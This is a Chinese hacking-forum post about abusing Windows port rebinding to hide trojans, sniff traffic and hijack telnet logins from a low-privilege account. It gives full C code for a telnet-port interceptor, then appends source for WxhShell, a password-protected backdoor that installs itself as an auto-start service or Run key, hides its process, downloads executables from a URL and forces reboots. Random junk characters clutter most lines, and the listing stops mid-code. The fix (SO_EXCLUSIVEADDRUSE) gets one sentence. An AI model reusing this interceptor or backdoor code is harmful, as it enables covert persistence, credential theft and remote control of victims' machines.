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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: &HT P eB  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); "<txg%j\J  
'FO^VJ;ha  
  saddr.sin_family = AF_INET; Go+f0aig  
e nDjP  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); y~]>J^  
UXR$7<D+  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); pV:X_M6  
H [R|U   
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ^Me__Y  
,d&~#W]  
  这意味着什么?意味着可以进行如下的攻击: ,.x1+9X  
: -te  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Mpb|qGi!  
mWfzL'*  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) xud =(HLl  
j]M $>2;  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 eiJ $}\qJL  
!xA;(<K[^  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  @]gP"Pp  
!C&}e8M|eX  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 l2X'4_d  
G0xk @SE  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 FgKDk!ci  
Y{f;qbEQH'  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 $ [0  
-YJ7ne]  
  #include QEm6#y  
  #include Z_ak4C  
  #include ?.,..p  
  #include    LmseY(i N  
  DWORD WINAPI ClientThread(LPVOID lpParam);   F3;UH%L1  
  int main() : v<|y F  
  { 3{]csZvW  
  WORD wVersionRequested; cRI&cN"o  
  DWORD ret; !n@Yg2w  
  WSADATA wsaData; Ro$l/lXl8t  
  BOOL val; [ !].G=8  
  SOCKADDR_IN saddr; #zZQ@+5zw  
  SOCKADDR_IN scaddr; j^Bo0{{  
  int err; ?2aglj*"v,  
  SOCKET s; Rm&i"  
  SOCKET sc; G\=7d%T+  
  int caddsize; ROW8YTYb  
  HANDLE mt; M(jSv  
  DWORD tid;   [qI, $ +  
  wVersionRequested = MAKEWORD( 2, 2 ); ysu"+J  
  err = WSAStartup( wVersionRequested, &wsaData ); l)4KX{Rz{A  
  if ( err != 0 ) { "2o)1G  
  printf("error!WSAStartup failed!\n"); "tn]s>iAd=  
  return -1; pbl;n|  
  } E&7U |$  
  saddr.sin_family = AF_INET; [59_n{S 1  
   5)AMl)  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 &Plc  
[yW0U:m  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); X8GIRL)lJ  
  saddr.sin_port = htons(23); )8!""n~  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) J XPE9uH  
  { BwEO2a{  
  printf("error!socket failed!\n"); HX7"w   
  return -1; 1\$xq9  
  } W{*U#:Jx1  
  val = TRUE;  wC}anq>>  
  //SO_REUSEADDR选项就是可以实现端口重绑定的  &)T5V  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) +%UfnbZ  
  { /hQTV!\u  
  printf("error!setsockopt failed!\n"); 0h _9  
  return -1; T oTehVw  
  } 9B{,q6  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; wJNiw)C  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ~*79rDs{  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Uz} #.  
|~Z.l  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) )CD4k:bm  
  { 0L S,(v4  
  ret=GetLastError(); 3-`IMN n!  
  printf("error!bind failed!\n"); F;kY5+a7~e  
  return -1; NhU~'k  
  } h.l^f>, /  
  listen(s,2); W.'#pd  
  while(1) !9_HZ(W&  
  { wa\Yc,R  
  caddsize = sizeof(scaddr); }~DlOvsq  
  //接受连接请求 *:{s|18Pj  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); |D~mLs;&  
  if(sc!=INVALID_SOCKET) RXxi7^ U  
  { I} q2)@  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); @@-n/9>vs  
  if(mt==NULL) iP]KV.e'/C  
  { - 0R5g3^*/  
  printf("Thread Creat Failed!\n"); ;6KcX\g-  
  break; "v@Y[QI  
  } NTb mI$(  
  }  z"Miy  
  CloseHandle(mt); ~:'tp28?  
  } U0 nSI  
  closesocket(s); ;wK;  
  WSACleanup(); MxQhkY-=  
  return 0; Ye% e!  
  }   ZVs]_`(+  
  DWORD WINAPI ClientThread(LPVOID lpParam) {p[{5k 0  
  { WXV(R,*Tc  
  SOCKET ss = (SOCKET)lpParam; ;h<(vc3@f  
  SOCKET sc; aMe]6cWHV>  
  unsigned char buf[4096]; z$4g9  
  SOCKADDR_IN saddr; ,R#pQ 4  
  long num; 8Wqh 8$  
  DWORD val; ?<)4_  
  DWORD ret; ~_8Dv<"a  
  //如果是隐藏端口应用的话,可以在此处加一些判断 #I8)|p?P  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   I$7|?8  
  saddr.sin_family = AF_INET; b"Hc==`  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); u1a0w  
  saddr.sin_port = htons(23); I! eu|_cF  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) IO3p&sJ/  
  { cvxYuP~  
  printf("error!socket failed!\n"); c%+/TO  
  return -1; u atY:GSR  
  } v3PtiKS  
  val = 100; BbsgZ4  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 55q!2>Jh.  
  { Q]$gw,H"6  
  ret = GetLastError(); E6JfSH#  
  return -1; 5.! OC5tO  
  } #{K}o}  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 0)F.Y,L  
  { Z.'j7(tu  
  ret = GetLastError(); ?1w{lz(P  
  return -1; <` [o|>A Z  
  } i<@"+~n~GK  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) X .,Lmh  
  { M$_E:u&D  
  printf("error!socket connect failed!\n"); 5|O~  
  closesocket(sc); jV{?.0/h|  
  closesocket(ss); |?v(?  
  return -1; uDD{O~wF,  
  } f#mNx  
  while(1) xB-\yWDZe  
  { C0C2]xx{  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 bpP-wA^Hd  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 QiH>!Ssw  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 dhrh "x_?:  
  num = recv(ss,buf,4096,0); b3.  
  if(num>0) ;>hRj!  
  send(sc,buf,num,0); corNw+|/w  
  else if(num==0) B|d-3\sn  
  break; dynkb901s  
  num = recv(sc,buf,4096,0); 3bYP i^  
  if(num>0) &s6;2G&L$  
  send(ss,buf,num,0); b'q ru~i  
  else if(num==0) d ~#B,+  
  break; 43wm_4C!H  
  } xmVW6 ,<?  
  closesocket(ss); H=lzW_(  
  closesocket(sc); 1Hl-|n  
  return 0 ; Lb]!TOl  
  } )7]la/0  
E'-lpE  
mrmm@?  
========================================================== [=<vapZt  
uA-1VwW+N  
下边附上一个代码,,WXhSHELL S)LvYOOB@  
nA*U drcn  
========================================================== 4y*"w*L  
'+EtnWH s  
#include "stdafx.h" (aC~0 #4  
`D/<*e,#  
#include <stdio.h> W&~\@j]!D  
#include <string.h> =[JstiT?E  
#include <windows.h> ycq+C8J+Ep  
#include <winsock2.h> n(uzqd  
#include <winsvc.h> b~$8<\  
#include <urlmon.h> |j}D2q=  
b:WA}x V  
#pragma comment (lib, "Ws2_32.lib") k3(q!~a:.}  
#pragma comment (lib, "urlmon.lib") QmgO00{  
lA{JpH_Y8s  
#define MAX_USER   100 // 最大客户端连接数 .;\uh$c  
#define BUF_SOCK   200 // sock buffer B4@1WZn<8  
#define KEY_BUFF   255 // 输入 buffer e&@;hDmIX  
X9 N4  
#define REBOOT     0   // 重启 3</W}]$)p  
#define SHUTDOWN   1   // 关机 M ^ZEAZi  
+D+v j|fn  
#define DEF_PORT   5000 // 监听端口 *82+GY]  
>:Y"DX-  
#define REG_LEN     16   // 注册表键长度 Q~R%|Q{&  
#define SVC_LEN     80   // NT服务名长度 tm1#Lh0  
vh"wXu  
// 从dll定义API B>}B{qi|  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); z:^ (#G{  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 8n/8uRIR  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 9dVHh?E  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); lvAKL>qX  
E3LEeXcLS  
// wxhshell配置信息 %W}YtDf\  
struct WSCFG { hbdB67,  
  int ws_port;         // 监听端口 Mfn^v:Q#  
  char ws_passstr[REG_LEN]; // 口令 T)MX]T  
  int ws_autoins;       // 安装标记, 1=yes 0=no Tw,|ZA4XH  
  char ws_regname[REG_LEN]; // 注册表键名 6E@TcN~ ,!  
  char ws_svcname[REG_LEN]; // 服务名 A$g'/QM  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 j/t)=c  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 T mK[^  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 K 0e*K=UM  
int ws_downexe;       // 下载执行标记, 1=yes 0=no \G0YLV~>P  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" |.z4VJi4  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {uDH-b(R  
qTrM*/m:]L  
}; 8-_atL  
.],:pL9d  
// default Wxhshell configuration *Sg6VGP  
struct WSCFG wscfg={DEF_PORT, 4|&_i)S-Y  
    "xuhuanlingzhe", ::p%R@?  
    1, QE|x[?7e,!  
    "Wxhshell", (gRTSd T ?  
    "Wxhshell", mEmgr(W  
            "WxhShell Service", o2D;EUsNX  
    "Wrsky Windows CmdShell Service", ,|g&v/WlC%  
    "Please Input Your Password: ", )[ QT ?;  
  1, q eDXG  
  "http://www.wrsky.com/wxhshell.exe", 5O(U1 *  
  "Wxhshell.exe" %I=/ y  
    }; u4tv= +jh  
Tn"@u&P *  
// 消息定义模块 {%_D> y  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; \9fJ)*-  
char *msg_ws_prompt="\n\r? for help\n\r#>"; eZ]>;5  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; j[Jwa*GQP  
char *msg_ws_ext="\n\rExit."; : HM~!7e  
char *msg_ws_end="\n\rQuit."; .6!cHL3ln  
char *msg_ws_boot="\n\rReboot..."; bt*  
char *msg_ws_poff="\n\rShutdown..."; 2]y Hxo/6  
char *msg_ws_down="\n\rSave to "; \[G"/]J  
;qO3m -(d  
char *msg_ws_err="\n\rErr!"; c|@OD3w2lM  
char *msg_ws_ok="\n\rOK!"; X?YT>+g;  
% *ng *  
char ExeFile[MAX_PATH]; ]VR79l  
int nUser = 0; #<y/m*Ota  
HANDLE handles[MAX_USER]; O7%8F Y  
int OsIsNt; [!C!R$AMa  
|No9eZ8>.  
SERVICE_STATUS       serviceStatus; _?]W%R|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; |!81M|H  
DUSQh+C  
// 函数声明 ? o&goiM  
int Install(void); v^J']p  
int Uninstall(void); ]UkqPtG;  
int DownloadFile(char *sURL, SOCKET wsh); ^6gEL~m|]  
int Boot(int flag); Uw]o9 e0S  
void HideProc(void); }vU^g PH  
int GetOsVer(void); 7~r_nP_  
int Wxhshell(SOCKET wsl); |{ =Jp<} s  
void TalkWithClient(void *cs); I s|_  
int CmdShell(SOCKET sock); ~z^49Ys:  
int StartFromService(void); ;?q-]J?  
int StartWxhshell(LPSTR lpCmdLine); j115:f  
]Q,&7D Ah  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); w`EC6ZN  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); GTi=VSGqF  
>;]S+^dXY  
// 数据结构和表定义 Hh%"  
SERVICE_TABLE_ENTRY DispatchTable[] = i%GiWanG  
{ Z`f?7/"B  
{wscfg.ws_svcname, NTServiceMain}, /U,(u9bq  
{NULL, NULL} u aYI3w@^  
}; F >H\F@Wl  
Wv%F^(R7  
// 自我安装 DQ}&J  
int Install(void) V["'eJA,,  
{ n!sOKw  
  char svExeFile[MAX_PATH]; qC=9m[MI  
  HKEY key; 37biRXqLH  
  strcpy(svExeFile,ExeFile); aTfc>A;  
.:XXc  
// 如果是win9x系统,修改注册表设为自启动 ~1XC5.*-  
if(!OsIsNt) { nI4oQE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { z0x^HDAeC  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Lxn-M5RPQ  
  RegCloseKey(key); (/^?$~m"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { S'`G7ht  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |'lNR)5  
  RegCloseKey(key); -aLM*nIoe  
  return 0; fu{v(^  
    } PZvc4  
  } AHMvh 7O?  
} S?zP; iFj  
else { [0 rH/{  
O 3?^P"C  
// 如果是NT以上系统,安装为系统服务 Rqbz3h~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); [?=DPE%  
if (schSCManager!=0) W6`_ lGTj  
{ A~ v[6*~>  
  SC_HANDLE schService = CreateService &G[W$2`@  
  ( f'MRC \  
  schSCManager, qJJ 5o?'  
  wscfg.ws_svcname, MR: H3  
  wscfg.ws_svcdisp,  )y6  
  SERVICE_ALL_ACCESS, }O+S}Hbwy  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , :#\jx  
  SERVICE_AUTO_START, ]<ay_w;  
  SERVICE_ERROR_NORMAL, 1;+77<  
  svExeFile, tKeozV[V  
  NULL, -7XaS&.4  
  NULL, ,S m?2<  
  NULL, _dECAk &b  
  NULL, C^LxJG{L5  
  NULL 4]E1x l  
  ); _j4 K  
  if (schService!=0) R6`mmJ+'  
  { 9':Hh'  
  CloseServiceHandle(schService); S|;}]6p  
  CloseServiceHandle(schSCManager); Q);}1'c  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); t|9vb  
  strcat(svExeFile,wscfg.ws_svcname); @+_pj.D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { xSO5?eR"u  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ~[kI! [  
  RegCloseKey(key); d|`8\fq  
  return 0; <Fv7JPN%  
    } cp"{W-Q{$  
  } t'yh&44_  
  CloseServiceHandle(schSCManager); 7*%}=.  
} _{ 2`sL)  
} kyZZ0  
ONZ(0H{ 1$  
return 1; ~]Av$S  
} _,v>P2)  
9. ,IqnP  
// 自我卸载 @$CPTv3e  
int Uninstall(void) KZ1m 2R}'  
{ *v: .]_;  
  HKEY key; 6ZwQ/~7H  
8M,z#DF  
if(!OsIsNt) { bSQj=|h1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { DjiI*HLNR  
  RegDeleteValue(key,wscfg.ws_regname); il"pKQF  
  RegCloseKey(key); >) Bv>HM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { t?b@l<, s  
  RegDeleteValue(key,wscfg.ws_regname); <[T{q |*  
  RegCloseKey(key); $VP\Ac,!  
  return 0; 5Q:49S47  
  } 5E 9R+N  
} Bk@EQdn  
} pc QkJ F  
else { jwuSne  
{9) HB:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); {%RwZ'  
if (schSCManager!=0) ooCfr?E  
{ ~ 588md :  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +.rE|)BPy  
  if (schService!=0) -G#m'W&  
  { Eg2SC?5  
  if(DeleteService(schService)!=0) { {lUaN0O:  
  CloseServiceHandle(schService); Z 0v&AD=  
  CloseServiceHandle(schSCManager); &T ^bv*P  
  return 0; % .ss  
  } t0?t Xe.B  
  CloseServiceHandle(schService); E70o nR!i  
  } b_u; `^  
  CloseServiceHandle(schSCManager); bA'N2~.,  
} >5TXLOYZ  
} )4hA Fy6l  
.81 ~ K[  
return 1; ~]9EhC'l  
} cXr_,>k  
I"Q U{]|J  
// 从指定url下载文件 ``@e7~F{  
int DownloadFile(char *sURL, SOCKET wsh) )>iPx.hVSS  
{ ;?TM_%>  
  HRESULT hr; k'sPA_|  
char seps[]= "/"; _EP~PW#J  
char *token; T.B7QAI. H  
char *file; wbk$(P'gN  
char myURL[MAX_PATH]; obv_?i1  
char myFILE[MAX_PATH]; (yeWArQ  
]US!3R^  
strcpy(myURL,sURL); AM#s2.@  
  token=strtok(myURL,seps); :QHh;TIG=<  
  while(token!=NULL) p;D {?H/  
  { OB^j b8  
    file=token; MUCes3YJH  
  token=strtok(NULL,seps); (\wV)c9  
  } [M:<!QXw  
ytV[x  
GetCurrentDirectory(MAX_PATH,myFILE); Gv[(0  
strcat(myFILE, "\\"); Y:Jgr&*,z  
strcat(myFILE, file); dQAF;L  
  send(wsh,myFILE,strlen(myFILE),0); {Q`Q2'@  
send(wsh,"...",3,0); QF22_D<.}J  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 0HQTe>!  
  if(hr==S_OK) [A] +Azc  
return 0; t1$pl6&,  
else I*g[Y=  
return 1; /YvwQ  
jfam/LL{V  
} Adfnd  
r;>.*60AT  
// 系统电源模块 10GU2a$0"$  
int Boot(int flag) =.) :tGDp  
{ }^b  
  HANDLE hToken; RXu` DWN  
  TOKEN_PRIVILEGES tkp; 9C!b f \  
<^942y-=  
  if(OsIsNt) { 9A|9:OdG1  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); )t:8;;W@Ir  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 2r]o>X  
    tkp.PrivilegeCount = 1; Ysw&J}6e  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ~at:\h4:  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); T&:~=  
if(flag==REBOOT) { Um*&S.y  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) S0LaQ<9.  
  return 0; -3m!970  
} t8.3  
else { |eJR3o  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) I SdB5Va  
  return 0; Im]6-#(9\|  
} @~&^1%37)  
  } gkca{BJ   
  else { qagR?)N)u  
if(flag==REBOOT) { ]mC5Z6,1s  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) >McEuoZx9  
  return 0; )M"xCO3a  
} >LPIvmT4D?  
else { ~8-xj6^  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $' ::51  
  return 0; 4AF.KX7  
} P{: 5i%qC  
} k%aJ%(  
SO<9?uk.  
return 1; UA*Kuad  
} <,U$Y>  
mHH>qW{`  
// win9x进程隐藏模块 .*J /F$  
void HideProc(void) l|;]"&|_]c  
{ %J9+`uSl  
.S* sGauM  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); C9,Uwz<!]  
  if ( hKernel != NULL ) M~+DxnJ=  
  { ][YC.J  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ft4hzmuzM  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !;${2Q  
    FreeLibrary(hKernel); ocZ^rqo2w  
  } [N<rPHT  
+c__U Qx  
return; L@ejFXQg  
} \Xr*1DI<  
jx ?"`;a  
// 获取操作系统版本  [ A 7{}  
int GetOsVer(void) ~)6EH`-  
{ _g'x=VJF  
  OSVERSIONINFO winfo; A\13*4:;l  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); +wI<w|!  
  GetVersionEx(&winfo); 'q@vTM'-  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) y'non0P.  
  return 1; >Pvz5Hf/wW  
  else ;krIuk-  
  return 0; h R6Pj"@0  
} Ry?f; s  
~mv5{C  
// 客户端句柄模块 N:Ir63X*#  
int Wxhshell(SOCKET wsl)  P.mlk>r  
{ k^zU;  
  SOCKET wsh; ^uPg71r:  
  struct sockaddr_in client; WF2t{<]^e  
  DWORD myID; Ynp#3 r  
_1~pG)y$U  
  while(nUser<MAX_USER) Vjd>j; H  
{ Tk `|{Ph0  
  int nSize=sizeof(client); vcaPd}nf  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Hxleh><c-  
  if(wsh==INVALID_SOCKET) return 1; %joU}G;"  
JU)k+:\a  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); z*9 ke  
if(handles[nUser]==0) JY~CMR5#.O  
  closesocket(wsh); s#(%u t  
else *M$'dLn  
  nUser++; MT$)A:"  
  } 8Dn~U :F/?  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); wzBw5n f\  
Yb1Q6[!  
  return 0; a>Zp?*9  
} sk AF6n  
{i}E)Np  
// 关闭 socket bfy=  
void CloseIt(SOCKET wsh) !/=.~B  
{ zJ@^Bw;A^@  
closesocket(wsh); ntW1 )H'o  
nUser--; Pw5[X5.DX  
ExitThread(0); QZ*gR#K]Sz  
} [ugr<[6  
MV07RjeS  
// 客户端请求句柄 -=ZDfM  
void TalkWithClient(void *cs) q;7DH4;t  
{ }]JHY P\  
aM(x--UR=  
  SOCKET wsh=(SOCKET)cs; DKkilqVM  
  char pwd[SVC_LEN]; :T<5Tq*+x  
  char cmd[KEY_BUFF]; h Vui.]  
char chr[1]; ]b:>7_la  
int i,j; Ba** S8{/`  
:\y' ?d- Q  
  while (nUser < MAX_USER) { JV_VM{w{K  
f[ia0w5 m  
if(wscfg.ws_passstr) { 4yjIR?  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \k^ojzJ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8 VhU)fY  
  //ZeroMemory(pwd,KEY_BUFF); g!9|1z  
      i=0; l[rK)PM   
  while(i<SVC_LEN) { I0!]J{  
$g/h=w@  
  // 设置超时 ?nWzJ5w3  
  fd_set FdRead; 3xiDt?&H  
  struct timeval TimeOut; g(,^'; j  
  FD_ZERO(&FdRead); 5HIQw9g6  
  FD_SET(wsh,&FdRead); FYK`.>L28  
  TimeOut.tv_sec=8; W+5. lf=2>  
  TimeOut.tv_usec=0; 2U( qyC  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 0N$FIw2  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); cLw|[!5:  
M>}_2G]#F  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Qkhor-f0  
  pwd=chr[0]; $48 Z>ij?f  
  if(chr[0]==0xd || chr[0]==0xa) { D3%2O`9  
  pwd=0; 1Kd6tnX  
  break; mrr~#Bb>  
  } 1vtC4`  
  i++; 8m=O408Q  
    } OmS8cSYGc  
ncUS8z  
  // 如果是非法用户,关闭 socket GR4DxlX  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ZY@ntV?  
} P(/eVD#v  
J0oeCb  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); +-,iC6kK  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Vjw u:M  
JbQY{z!  
while(1) { x*=1C,C  
* ^V?u  
  ZeroMemory(cmd,KEY_BUFF); 5;,h8vW  
ge<D}6GQ  
      // 自动支持客户端 telnet标准   ._Ww  
  j=0; _l"nwEs  
  while(j<KEY_BUFF) { SD<a#S\o  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,>8w|951'  
  cmd[j]=chr[0]; JodD6 ;P  
  if(chr[0]==0xa || chr[0]==0xd) { 4 Tw~4b  
  cmd[j]=0; >[;=c0(  
  break; $*T?}r>  
  } >P&1or)e%  
  j++; 1@JusS0^K  
    } $EX(-!c  
_(I6o  
  // 下载文件 =I@I  
  if(strstr(cmd,"http://")) { ]V_A4Df  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); \4^rb?B  
  if(DownloadFile(cmd,wsh)) (<8}un  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); c?u*,d) G  
  else RS l*u[fB  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M.r7^9P  
  } B?- poB&  
  else { - l^3>!MAM  
9 <{C9  
    switch(cmd[0]) { P^48]Kj7  
  7 )r L<+  
  // 帮助 _53~D=  
  case '?': { mt`CQz"_  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); RHMXPsj  
    break; Lj9RF<39g  
  } t(9q 6x3|e  
  // 安装 }m~MN4 l  
  case 'i': { @un+y9m[C  
    if(Install()) S2_(lS+R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L+(ng  
    else :GO"bsjL  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LO>42o?/i  
    break; WmN( (  
    } A`ajsZ{q,  
  // 卸载 -]H~D4ng  
  case 'r': { }v4dOGc?  
    if(Uninstall()) e,MsF4'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;R[3nb9%  
    else kS:#|yY8%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?Rx(@  
    break; \7"|'fz  
    } qc 5[ e  
  // 显示 wxhshell 所在路径 #j=yQrJ  
  case 'p': { G{E`5KIvm  
    char svExeFile[MAX_PATH]; Zd-6_,r  
    strcpy(svExeFile,"\n\r"); 2wHbhW[  
      strcat(svExeFile,ExeFile); y& 1@d+Lf  
        send(wsh,svExeFile,strlen(svExeFile),0); y!.jpF'uI  
    break; RZ xwr  
    } =R|XFZ,  
  // 重启 Y`Io}h G$  
  case 'b': { vIbM@Y4 '?  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); dK4rrO  
    if(Boot(REBOOT)) ]L7A$sTUQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2R.L LE  
    else { _Uq' N0U  
    closesocket(wsh); <.B+&3')  
    ExitThread(0); $[n:IDa*@1  
    } T?t/[iuHrj  
    break; .8Bo5)q$a-  
    } Zrr)<'!i  
  // 关机 p2{7+m  
  case 'd': { MA6 Vy  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;ryNfP%  
